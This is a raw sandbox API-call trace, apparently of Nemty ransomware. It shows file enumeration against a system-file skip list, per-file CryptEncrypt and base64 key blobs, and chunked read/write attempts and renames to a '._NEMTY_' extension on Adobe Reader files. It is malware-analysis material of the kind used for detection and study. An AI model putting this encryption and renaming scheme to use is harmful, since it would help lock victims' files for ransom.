GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31121810, dwHighDateTime=0x1d561e8)) [0210.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31121810, dwHighDateTime=0x1d561e8)) [0210.450] GetLastError () returned 0x5 [0210.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.450] GetLastError () returned 0x5 [0210.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.450] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.450] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.450] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.451] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.451] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0210.451] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="M64UfRw4/t4nhiGhk4EyD1/JTM6j4TcP0rj1yh1Sx2cSGBu/kohME5Z72pOXdw1R\r\nJ1AuglW6h/DF2lwbFH+y1CZVdGsPJdBGyhAr+SAV7pYvSzyBs/cy2vIOpLMXDz6G\r\naxhykutxos3Hmcc3GNfRDVbA9dZLe3skKNm9pAsDOa8EZ9PmxVLf0FgVpeokxTPE\r\nXYq4Otc3KuYNJQPx9+Nu63erVyBftgAMp/sl939XkTNDLoBf6sfUMZhwuov849It\r\nfwTerjsvmuiauDFdTZWxV0QomZJD04xMQ6Er1DJz2ImWZnppSg5pBcJx5pFnJoSc\r\nmUtdO6jrBHzKBZC9Toetkw==\r\n", pcchString=0x653e91c) returned 1 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0210.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.451] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0210.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.451] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0210.451] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0210.451] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.451] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.461] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.461] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.461] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.483] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.483] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.483] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.493] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.493] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.493] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.502] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.502] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.502] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.511] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.512] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.512] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.512] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.521] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.521] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.521] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.531] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.531] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.531] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.540] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.540] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.541] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.550] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.550] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.550] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.556] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0210.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0210.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6348d60, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0210.562] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0210.563] CloseHandle (hObject=0xffffffff) returned 0 [0210.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0210.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0210.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0210.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0210.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0210.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0210.563] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.563] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-90pv-RKSJ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-90pv-rksj._nemty_kgobjgd_")) returned 0 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.563] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0210.563] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45903, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-B5pc", cAlternateFileName="UCS2-B~1")) returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2=".") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="..") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="...") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="windows") returned -1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="$RECYCLE.BIN") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="rsa") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="NTDETECT.COM") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="ntldr") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="MSDOS.SYS") returned 1 [0210.563] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="IO.SYS") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="boot.ini") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="boot.ini") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="AUTOEXEC.BAT") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="ntuser.dat") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="desktop.ini") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="CONFIG.SYS") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="RECYCLER") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="BOOTSECT.BAK") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="bootmgr") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="programdata") returned 1 [0210.564] lstrcmpiW (lpString1="UCS2-B5pc", lpString2="appdata") returned 1 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-B5pc", lpUsedDefaultChar=0x0) returned 9 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x653ebd0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-B5pc", lpUsedDefaultChar=0x0) returned 9 [0210.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x653ec20, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-B5pc", lpUsedDefaultChar=0x0) returned 9 [0210.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0210.564] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="UCS2-B5pc", cchWideChar=9, lpMultiByteStr=0x653ec58, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UCS2-B5pc", lpUsedDefaultChar=0x0) returned 9 [0210.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0210.564] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0210.564] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0210.564] Sleep (dwMilliseconds=0x5) [0210.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31252310, dwHighDateTime=0x1d561e8)) [0210.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x31252310, dwHighDateTime=0x1d561e8)) [0210.571] GetLastError () returned 0x5 [0210.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0210.571] GetLastError () returned 0x5 [0210.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0210.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0210.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0210.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0210.571] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0210.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0210.572] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="tRad/eGPFQoMFZ/NZVQ7RmqbNT0hM6HvZJ9c5a3gGywhNEkhdwu+m9NMH0zj6ZdP\r\n5Tp8PSCrhO59sHvxXgjznl1A/wktukuhOXUh0gtknDmV2XEMun4AtdK1nBbrcPS6\r\nvUzWqojN5xaJRQWJrShppqWG29840pBD7ryNe7mGDrWWX2EbKODlqWKzq0y9ekbF\r\nNU9GgkYJf/ec7956i0siz/4QZCJNDdI6UXcVKBQZ263O/Uyu9MftIHqwVu9NL38T\r\n27KDk9NRn16+ppvF9DhbXHqKtKqE3SY+lUzV+BlOwqydoG9oYhoHwcqqfulJivE/\r\nsMRwPNDpRP5t+9BVMO22xg==\r\n", pcchString=0x653e91c) returned 1 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0210.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0210.572] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0210.572] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0210.572] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UCS2-B5pc" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\ucs2-b5pc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0210.572] GetFileSizeEx 